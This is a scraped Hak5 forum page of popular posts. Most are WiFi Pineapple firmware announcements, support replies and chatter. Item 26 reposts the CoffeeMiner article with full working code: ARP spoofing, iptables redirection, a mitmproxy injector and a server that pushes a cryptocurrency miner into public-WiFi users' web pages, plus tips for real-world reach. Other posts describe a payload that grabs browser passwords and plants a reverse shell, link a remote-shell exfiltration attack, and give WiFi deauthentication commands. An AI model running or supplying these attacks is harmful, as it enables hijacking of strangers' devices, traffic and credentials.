Jump to content
Hak5 Forums

Leaderboard


Popular Content

Showing content with the highest reputation since 12/19/2017 in all areas

  1. 7 points
    Hak5 is proud to release the firmware we’ve all been waiting for - the much anticipated WiFi Pineapple version 2.0.0! This beast of a release brings a complete rewrite of the pineapple core, numerous enhancements to the web interface, updates to the OS and base packages across the board as well as dozens of performance tweaks, stability improvements and bug fixes. For instance you can now sort and download recon and profiling data. OUI lookups are just clicks away and raw HEX frames can even be injected from PineAP - just to name a few. There's more in this release than we can even list in the changelog. This has been one massive development effort, given the interdependent nature of the pineapple base. PineAP, the frame sniffer, the injection engine and control system have all been rewritten for rock solid performance. This undertaking couldn't have been realized bit by bit, hence the long period between releases. WiFi Pineapple firmware version 2.0.0 constitutes the combined efforts of Seb Kinne and recent additions to the Hak5 engineering team -- Foxtrot and Tesla. As long time contributors to the project, their code and countless hours testing in an official capacity now have made for the most robust WiFi Pineapple firmware to date. This would not have been possible without the feedback and contributions from you all - the Hak5 community. We're excited to have laid the groundwork for much quicker releases, with the backend development processes and build systems having been reworked substantially. The NANO and TETRA bases are now merged, along with the web interface and many interdependent systems - so in usual Hak5 fashion we look once more to your feedback as thoughts on the future of the fruit. Download and changelog can be found at https://www.wifipineapple.com/downloads#nano.
  2. 6 points
    Hak5 is proud to release the firmware we’ve all been waiting for - the much anticipated WiFi Pineapple version 2.0.0! This beast of a release brings a complete rewrite of the pineapple core, numerous enhancements to the web interface, updates to the OS and base packages across the board as well as dozens of performance tweaks, stability improvements and bug fixes. For instance you can now sort and download recon and profiling data. OUI lookups are just clicks away and raw HEX frames can even be injected from PineAP - just to name a few. There's more in this release than we can even list in the changelog. This has been one massive development effort, given the interdependent nature of the pineapple base. PineAP, the frame sniffer, the injection engine and control system have all been rewritten for rock solid performance. This undertaking couldn't have been realized bit by bit, hence the long period between releases. WiFi Pineapple firmware version 2.0.0 constitutes the combined efforts of Seb Kinne and recent additions to the Hak5 engineering team -- Foxtrot and Tesla. As long time contributors to the project, their code and countless hours testing in an official capacity now have made for the most robust WiFi Pineapple firmware to date. This would not have been possible without the feedback and contributions from you all - the Hak5 community. We're excited to have laid the groundwork for much quicker releases, with the backend development processes and build systems having been reworked substantially. The NANO and TETRA bases are now merged, along with the web interface and many interdependent systems - so in usual Hak5 fashion we look once more to your feedback as thoughts on the future of the fruit. Download and changelog can be found at https://www.wifipineapple.com/downloads#tetra.
  3. 6 points
    Coming soon - I don't recommend networkingPlus, it will most likely break a bunch of configurations.
  4. 4 points
    Nothing says "shut off your wifi" like seeing the pineapple patch out in the wild!
  5. 4 points
    Ah fair enouhg. We'll add an option for this (along with Port forwarding for another feature) to the Networking module soon. We'll push it via the Module Manager, so no firmware upgrade needed.
  6. 4 points
    Hey everyone, Due to a bug preventing clients from associating to the Management Access Point, we have re-released version 2.0.0 as version 2.0.1. My deepest apologies for the inconvenience.
  7. 4 points
    Take it outside, and leave it outside. You really don't want it popping in your house/apartment.
  8. 3 points
    You'll be able to enroll via the webinterface. Once you do that, you'll get nightly builds when you check for updates.
  9. 3 points
    Hey guys. I was bored and curious, so I ported the board to the current version of LEDE. Everything mostly works just fine. However a lot of the pineapple specific stuff needs to be re-compiled, and the API's need to be updated to the current syntax of wifi/uci and some others (since its not part of the open source parts, I cant really do much there) Willing to hand over my source so we can have a more current version running on this thing. (It feels quite snappy) Running on Kernel 4.4.110. Some one from Hak5 contact me if interested. (BTW, I'm not interested in $$ or anything, just having fun, and want to help out.) My TETRA comes this week, so I'll verify everything on there too. Cheers!
  10. 3 points
    Good work Cybertronic! When LEDE forked off of OpenWrt, I was convinced that LEDE was the way to go. I ported the firmware, but it wasn't stable enough at the time (as it forked off the bleeding edge). Since then, I have kept our LEDE branch updated and it runs much better now. We are also currently working on pushing our device specific code upstream as soon as possible. That said, we have decided to hold off on switching to LEDE until the OpenWrt / LEDE re-merger is complete and a new stable OpenWrt release is out. If the re-merger takes too long (lots of politics at play), we'll probably end up moving to LEDE anyway, as OpenWrt will make use of the current LEDE source (with a re-brand).
  11. 3 points
    We should set up an alternative domain.. Https://totallynothak5.org
  12. 3 points
    So.... I rarely collaborate. Most payloads for the BB are too small for have too many hands in it. I do more of self empowerment. I help you help yourself by supplying resources and kicks in the general direction to solutions. I see tools as needing more on collaboration since they tend to be bigger in size and complication. With that said, I do not help if it falls outside my range of ethics. Yes, I am ethical. Deal with it. Reason for ethics is some people have no desire what so ever to have a heart to heart with feds in one of those special rooms. I especially do not want that if it is something someone else did with something of mine that shows to have no value what so ever in a pentest setting. Also, I have a conscious. Blame my mama. So, it is not unethical learning and being able to do what bad actors can do. It is unethical to take that knowledge and use it to steal and destroy for self gain at the expense of the victim.
  13. 3 points
    It's been shown that the same Israeli company (Cellebrite I think their name is) that helped the FBI to bypass the IOS security on the San Bernadino shooters phone can also bypass later firmware as well. Also, their CEO claims they can also bypass the current firmware (however have stated that they won't give any details or show that hack working as it's only for their 3 letter agency type customers). My guess is that there are a large number of zero days for IOS which are floating around but only released to top paying bidders.
  14. 3 points
    Hi everyone, Looks like we had to push another update to fix an issue where associated clients would not show up in the recon scan results. We'd like to apologize again for the inconvenience. -Seb
  15. 3 points
    The main reason is honesty that I haven't had the time. It's on my todo list though :)
  16. 3 points
  17. 2 points
    You are trying to deauth while channel hopping. No workie. Your command for airodump-ng is not locking onto a particular AP nor is it locking onto a channel. If you want to deauth without airodump-ng running you will need to manually change your channel. sudo iwconfig mon0 channel <channel of ap> After that it should find it. If you are using airodump-ng then put in the bssid of the AP so it can lock onto it or even add the "-c" option and the channel number to lock it to a channel the AP is on and then it will find it. aireplay-ng does not have the ability to change its channel. It uses whatever channel the interface is currently on.
  18. 2 points
    Link to GitHub: https://github.com/CIPH3R0/bashbunny-payloads Link to pull request: https://github.com/hak5/bashbunny-payloads/pull/301 What the payload does: ##Starts up multiple programs: # BPG (BrowserPasswordGrabber): Grab's passwords from web browsers: Internet Explorer, Mozilla Firefox, Google Chrome, Safari, and Opera. # BHG (BrowserHistoryGrabber): Grab's history from web browsers: Internet Explorer, Mozilla Firefox, Google Chrome, Safari, and Opera. # InfoGrabber: Gather a lot of information about the computer and place it in a text file in loot/info/. # Reverse-Shell: Copy's the file servicehost.txt to startup directory: shell:startup and executes it. Let me know what you think/what you would like to see improved! C1PH3R "Don't look at the branch of the problem, look at the root (C1PH3R)"
  19. 2 points
    +1. This isn't very hard to do. while [ -f /mnt/NO_MOUNT ]; do # Waiting for USB.. sleep 1 done # USB found, do the next thing echo "Hi, USB!" > /mnt/log.txt
  20. 2 points
    That moment when you clean a spill off of the couch, then realise that spot it now the brightest
  21. 2 points
    In order to provide a PoC that non-administrative access still can result in huge data breaches I present to you The Hidden PP Attack A one liner PoSh command that can be executed from a Teensy/Rubber Ducky which leaves the machine open to injections of PoSh code remotely. Quite happy with this project so I thought id drop it here. Ive lurked remotely without an account for some time without contributing, so... here you are https://simpleinfosec.com/2018/01/09/the-hidden-pp-attack-a-non-administrative-remote-shell-for-data-exfiltration/ https://github.com/secsi/HIDdenPPAttack
  22. 2 points
    OK, cool... sounds like guys are on top of it :-) Was still a fun exercise figuring it out, and getting everything working!
  23. 2 points
    I'm working on an update to this module that will add functionality to work with a new module I'm planning to write. However, with the latest release of Papers I needed to update how this module interacts with the SSL store so I've pushed those minor changes to GitHub without changing the version number. If you have the latest version of Papers please reinstall this module from my GitHub repo. If you're cool with waiting a couple days I should have a pull request in to the pineapple modules repo by then that includes this update.
  24. 2 points
    Version 1.5 is available on GitHub and will soon be available in the module manager. Here is the changelog: - Added option to include SANs in certificates - Changed key output from .pem to .key - Added default Certificate Info if none is included in the build request - Fixed a bug where the Certificate Info fields remained after switching to SSH key build mode With this latest release you won't be able to simply import your old keys if you exported them because the filenames for keys are now .key instead of .pem. What you should do is first SSH into the Pineapple, cd to /pineapple/modules/Papers/includes/ssl and ../ssh to rename all .pem files to .key files. Once you've done this, copy everything within the ssl and ssh directories to another location on the Pineapple (outside of the module). After you update the module move the keys/certs back into the ssl and ssh directories.
  25. 2 points
    Solution is simple: stop using windows to develop for Linux ;)
  26. 2 points
    Found this on hackernews. Considering the new frame injection abilities, i thought I’d share. Text is coppied and pasted for convenience. Article by Arnau Code : https://arnaucode.com/blog/coffeeminer-hacking-wifi-cryptocurrency-miner.html code: https://github.com/arnaucode/coffeeMiner CoffeeMiner: Hacking WiFi to inject cryptocurrency miner to HTML requests 4 January 2018 Disclamer: this article & project is for academic purposes only. Some weeks ago I read about this Starbucks case where hackers hijacked laptops on the WiFi network to use the devices computing power to mine cryptocurrency, and I thought it might be interesting perform the attack in a different way. The goal of this article, is to explain how can be done the attack of MITM (Man(Person)-In-The-Middle) to inject some javascript in the html pages, to force all the devices connected to a WiFi network to be mining a cryptocurrency for the attacker. The objective is to have a script that performs autonomous attack on the WiFi network. It’s what we have called CoffeeMiner, as it’s a kind of attack that can be performed in the cafes WiFi networks. 1. The Scenario The scenario will be some machines connected to the WiFi network, and the CoffeeMiner attacker intercepting the traffic between the users and the router. 1.1 Scenario configuration The real scenario is a WiFi with laptops and smartphones connected. We have tested in this real world scenario, and it works. But for this article, we will see more deeply how to set up in a virtual environment. We will use VirtualBox to deploy our virtual scenario https://www.virtualbox.org/ . First of all we need to download some Linux disk image and install it into a VirtualBox machine, for this example we will use Kali Linux images https://www.kali.org/ Once we have the ISO image downloaded, we prepare 3 VBox machines with the Linux image installed. To configure the defined scenario we need to prepare the machines each one with a role: Victim will be the machine that connects to the Router and browse some pages. Attacker will be the machine where it runs the CoffeeMiner. Is the machine that performs the MITM. Router / Gateway will act as a normal gateway. Once the attack is performed, the scenario will be: To configure each one of the machines, we will do the following configuration: Victim network adapter: eth0: Host-only Adapter /etc/network/interfaces: auto lo iface lo inet loopback auto eth0 iface eth0 inet static address 10.0.2.10 netmask 255.255.255.0 gateway 10.0.2.15 Attacker network adapter: eth0: Host-only Adapter /etc/network/interfaces: auto lo iface lo inet loopback auto eth0 iface eth0 inet static address 10.0.2.20 netmask 255.255.255.0 gateway 10.0.2.15 Router / Gateway network adapter: eth0: Bridged Adapter eth1: Host-only Adapter /etc/network/interfaces: auto lo iface lo inet loopback auto eth0 iface eth0 inet dhcp auto eth1 iface eth1 inet static address 10.0.2.15 netmask 255.255.255.0 2. CoffeeMiner, understanding the code 2.1 ARPspoofing First of all, we need to understand how the MITM attack is performed. From wikipedia: “In computer networking, ARP spoofing, ARP cache poisoning, or ARP poison routing, is a technique by which an attacker sends (spoofed) Address Resolution Protocol (ARP) messages onto a local area network. Generally, the aim is to associate the attacker’s MAC address with the IP address of another host, such as the default gateway, causing any traffic meant for that IP address to be sent to the attacker instead.” https://en.wikipedia.org/wiki/ARP_spoofing To perform the ARPspoofing attack, we will use the dsniff library. arpspoof -i interface -t ipVictim ipGateway arpspoof -i interface -t ipGateway ipVictim 2.2 mitmproxy mitmproxy is a software tool that allows us to analyze the traffic that goes through a host, and allows to edit that traffic. In our case, we will use it to inject the javascript into the html pages. To make the process more more clean, we will only inject one line of code into the html pages. And will be that line of html code that will call to the javascript cryptocurrency miner. The line to inject the crypto miner is: <script src="http://httpserverIP:8080/script.js"></script> 2.3 Injector Once we have the victim’s traffic intercepted, we need to inject our script on it. We will use the mitmproxy API to do the injector: from bs4 import BeautifulSoup from mitmproxy import ctx, http import argparse class Injector: def __init__(self, path): self.path = path def response(self, flow: http.HTTPFlow) -> None: if self.path: html = BeautifulSoup(flow.response.content, "html.parser") print(self.path) print(flow.response.headers["content-type"]) if flow.response.headers["content-type"] == 'text/html': script = html.new_tag( "script", src=self.path, type='application/javascript') html.body.insert(0, script) flow.response.content = str(html).encode("utf8") print("Script injected.") def start(): parser = argparse.ArgumentParser() parser.add_argument("path", type=str) args = parser.parse_args() return Injector(args.path) 2.4 HTTP Server As we have seen, the injector adds a line to the html, with a call to our javascript crypto miner. So, we need to have the script file deployed in a HTTP Server. In order to serve the javascript cryptocurrency miner, we will deploy a HTTP Server in the attacker machine. To do that, we will use the Python library ‘http.server’: #!/usr/bin/env python import http.server import socketserver import os PORT = 8000 web_dir = os.path.join(os.path.dirname(__file__), 'miner_script') os.chdir(web_dir) Handler = http.server.SimpleHTTPRequestHandler httpd = socketserver.TCPServer(("", PORT), Handler) print("serving at port", PORT) httpd.serve_forever() The code above is a simple HTTP Server that will serve our crypto miner to the victims, when they require it. The javascript miner, will be placed in the /miner_script directory. In our case, we have used the CoinHive javascript miner. 2.5 CoinHive crypto miner CoinHive is a javascript miner for the Monero cryptocurrency (XMR). It can be added to a website, and will use the user CPU power to calculate hashes with the Cryptonight PoW hash algorithm to mine Monero, based on CryptoNote protocol. CoinHive miner makes sense when user stays in a websit for mid-long term sessions. So, for example, for a website where the users average session is arround 40 seconds, it doesn’t make much sense. In our case, as we will inject the crypto miner in each one of the HTML pages that victims request, will have long term sessions to calculate hashes to mine Monero. 3. CoffeeMiner, puting all together The main objective is to tie all the previous concepts in one autonomous deployment. This will be the CoffeeMiner. The idea is to have the CoffeeMiner script that performs the ARPspoofing attack and set ups the mitmproxy to inject the CoinHive cryptominer into victims HTML pages. First of all, we need to configure the ip_forwarding and IPTABLES, in order to convert the attacker’s machine into a proxy: echo 1 > /proc/sys/net/ipv4/ip_forward iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080 To perform the ARPspoof for all the victims, we will prepare a ‘victims.txt’ file with all the victim’s IP. To read all the victims IPs, we prepare some Python lines, that will get the IPs (and also the gateway IP from the command line args), and performs the ARPspoof for each one of the victim’s IP. # get gateway_ip gateway = sys.argv[1] print("gateway: " + gateway) # get victims_ip victims = [line.rstrip('\n') for line in open("victims.txt")] print("victims:") print(victims) # run the arpspoof for each victim, each one in a new console for victim in victims: os.system("xterm -e arpspoof -i eth0 -t " + victim + " " + gateway + " &") os.system("xterm -e arpspoof -i eth0 -t " + gateway + " " + victim + " &") Once we have the ARPspoofing performed, we just need to run the HTTP Server: > python3 httpServer.py And now, we can run the mitmproxy with the injector.py: > mitmdump -s 'injector.py http://httpserverIP:8080/script.js' 3.1 CoffeeMiner, final script Now we put all the concepts explained above in the ‘coffeeMiner.py’ script: import os import sys #get gateway_ip (router) gateway = sys.argv[1] print("gateway: " + gateway) # get victims_ip victims = [line.rstrip('\n') for line in open("victims.txt")] print("victims:") print(victims) # configure routing (IPTABLES) os.system("echo 1 > /proc/sys/net/ipv4/ip_forward") os.system("iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE") os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080") os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080") # run the arpspoof for each victim, each one in a new console for victim in victims: os.system("xterm -e arpspoof -i eth0 -t " + victim + " " + gateway + " &") os.system("xterm -e arpspoof -i eth0 -t " + gateway + " " + victim + " &") # start the http server for serving the script.js, in a new console os.system("xterm -hold -e 'python3 httpServer.py' &") # start the mitmproxy os.system("~/.local/bin/mitmdump -s 'injector.py http://10.0.2.20:8000/script.js' -T") And also in the ‘injector.py’ script: from bs4 import BeautifulSoup from mitmproxy import ctx, http import argparse class Injector: def __init__(self, path): self.path = path def response(self, flow: http.HTTPFlow) -> None: if self.path: html = BeautifulSoup(flow.response.content, "html.parser") print(self.path) print(flow.response.headers["content-type"]) if flow.response.headers["content-type"] == 'text/html': print("uuuuuu") print(flow.response.headers["content-type"]) print("asdf asdf asdf asdf asdf") print("-----") print("mmmmm") script = html.new_tag( "script", src=self.path, type='application/javascript') html.body.insert(0, script) flow.response.content = str(html).encode("utf8") print("Script injected.") def start(): parser = argparse.ArgumentParser() parser.add_argument("path", type=str) args = parser.parse_args() return Injector(args.path) And to execute, we just need to do: > python3 coffeeMiner.py RouterIP 4. Demo In order to do the demo, we set up the VirtualBox scenario explained above. If we want to perform the attack manually, we will need the following terminals: Then, once the ARPspoofing attack is done and the injector and the HTTP Server are ready, we can go to the victim’s machine and browse to a website. The victim’s traffic will go through the attacker machine, and will activate the injector: As a result, the html pages that the victim is viewing, will have the html lines of code that the attacker has been injected. 4.1 Demo video In the following video, we can see the complete attack in the scenario, using the coffeeMiner.py script: VirtualBox demo: Real world WiFi network and laptops demo: Conclusion As we have seen, the attack can be easily performed, and also can be deployed to be an autonomous attack in a WiFi network. Another think to have in mind, is that for a real world WiFi network, is better to perform the process with a powerful WiFi antenna, to reach better all the physical zone. Tha main objective was to perform the autonomous attack, but we still need to edit the victims.txt file with the IP addresses of the victims devices. For a further version, a possible feature could be adding an autonomous Nmap scan, to add the IPs detected to the CoffeeMiner victims list. Another further feature, could be adding sslstrip, to make sure the injection also in the websites that the user can request over HTTPS. The complete code is available in the github repo: https://github.com/arnaucode/coffeeMiner Disclamer: this article & project is for academic purposes only.
  27. 2 points
  28. 2 points
    # simple examples opkg update # root install opkg install git git-https # sd install opkg install --dest sd git git-https # git clone repo if you encounter https problems git clone git://github.com/user/repo.git
  29. 2 points
    Attacking your government and their filters, will probably not end well. Especially, now that you've publicly announced it. https://vlipsy.com/embed/acR1rJOb
  30. 2 points
    Have to be right version so you don't get a daft touchpad :P
  31. 2 points
    Hey everyone, This issue is caused by the unreliable order that OpenWrt seems to be loading the wireless drivers. We have been able to identify the issue and have created a fix for the next firmware release. The good thing here is that we have a few steps you can follow to have a working wireless card: Unplug any wireless radio plugged into the USB port of the WiFi Pineapple Connect to your WiFi Pineapple via ethernet SSH into your WiFi Pineapple Execute "wifi detect > /etc/config/wireless && wifi" Insert your USB wireless radio If you follow the above steps, you can keep the USB radio inserted and it will work across reboots.
  32. 2 points
    Since the Teensy 2.0++ uses a mini b port, you could use a male mini b - usb cable to usb male plug. I use these adapters for my Teensy 3.6 since they have a micro b port. Edit: @4l4k4z4m Technically you could do it but it would be too fiddly to solder wires to attach usb wires onto the board. I wouldn't recommend it unless you have a lot of Teensy boards lying around to mess with. This is how I ruined my older Teensy 2.0 board. You could follow this as a guide for replacing mini b to micro b https://www.youtube.com/watch?v=mOsBbEZ_1Lo Same goes if you want to solder wires directly.
  33. 2 points
    Keep in mind this is not a simple pinout solution. This is a controller solution. You will need to build a controller. USB and SATA do not directly chat in the same language with the same pin outs and voltages. You will need the pinout to the appropriate voltages for the voltage side and then a controller (maybe a pi if it is fast enough (may need to write the software in assembly or C to get faster responses) or a special programmable chip) to handle the conversion from SATA to USB. Dude, thinking about it is making my head hurt and I'm lazy hehe.
  34. 2 points
    If you really are interested then I would recommend this book http://zygosec.com/Products by Billy Ellis. He also has a decent youtube channel where he walks through the latest exploits with tips and tricks for reverse engineering Arm based software. https://www.youtube.com/user/pr0Hacks2014/videos
  35. 2 points
    Replacing the government with one that has no interest in your private life is about the only way, and that is easier said than done.
  36. 2 points
    Thats a tough one, maybe offer to wash your neighbors car also? or wait till they are gone, which could be tricky, very tricky. If you have a yard, throw down some really big tarps to park on in the yard and overlap them ( to save the grass ). Now you are away from there car and you have room, yea know if thats an option. Also, IDK where your from but in the midwest its like um -6 degrees F lol
  37. 2 points
    I just updated the DWall module to work with firmware version 2.0.0+. Simply update the module via the Module Manager.
  38. 2 points
    Nope, but I'll look at improvements soon. Nope - if you aren't doing ICS it works great :) If Apple had a reliable or scriptable way to share it's connection, we'd do it.
  39. 2 points
    Hi everyone, Looks like we had to push another update to fix two issues: Associated clients would not show up in the recon scan results Some users are reporting that their NANO would not boot up without a micro-sd card If you experienced the second issue and now have a WiFi Pineapple NANO in non-working condition, please follow the firmware recovery steps outlined at https://wifipineapple.com/faq. This will bring you up to firmware version 2.0.2, which will boot up just fine without a micro-sd card present. We would like to again apologize for the inconvenience. -Seb
  40. 2 points
    Up and running happily again! Cheers for the help!
  41. 2 points
    Hi JRoh, Sorry you're having issue with your gift, especially on Christmas! Please ensure you have a microSD card inserted into the NANO before booting. Cheers, Foxtrot
  42. 2 points
    Hey Lassmanac, Jroh, If your issue is a rapidly flashing blue LED, then please try booting the WiFi Pineapple NANO with a microSD card inserted into the device. My apologies for any inconvenience, I know how exciting it is to get new gadgets on Christmas and I want your devices to work for you. Kind Regards
  43. 2 points
    For anyone experiencing issues with the WiFi Pineapple NANO flashing rapidly upon boot, please make sure you have a microSD card inserted fully before applying power to the device. This should let your device boot fully.
  44. 2 points
    Is anybody else not seeing any associated clients on recon scans?
  45. 2 points
    We aim to please. Both @Foxtrot and @Tesla have done a great job and we are excited to show you what we have in store for 2018. Yup, they should be :)
  46. 2 points
    Shannon manages the shows. As it turns out there was one more 3D Printer episode to air, which pushes everything back one week. The first episode of the Hak5 [PAYLOAD] series will air in January. They're actually being re-edited now since our sponsor domain.com changed their copy for 2018. I'm really excited about their release - I have so many good ones currently in research/writing and it's such a fun format. Anyway, enough inside baseball
  47. 2 points
    All instructions needed for cross compiling to OpenWRT are at https://wiki.openwrt.org/doc/devel/crosscompile
  48. 2 points
    And to be clear, there are 2-4x f**k loads to 1x sh*t Ton - dependent on the number of f**k's given. for conversion purposes. P.s. sorry, slow day :)
  49. 2 points
    I ordered a PS, BB, and some books. Missing one of the books so I opened a support ticket a week ago. No response yet. Now that I know stickers were supposed to come with it I didn't get stickers either. Maybe I'll add it to the ticket. I expect they were bombarded by the holiday sale they were running is why some things slipped through the cracks.
  50. 2 points
    Hey ph1s, Please make a support ticket with us at https://hakshop.zendesk.com/hc/en-us and we'll get it sorted. In the meantime I'd recommend taking some photos of it (for your support ticket) and disposing of the battery safely.
×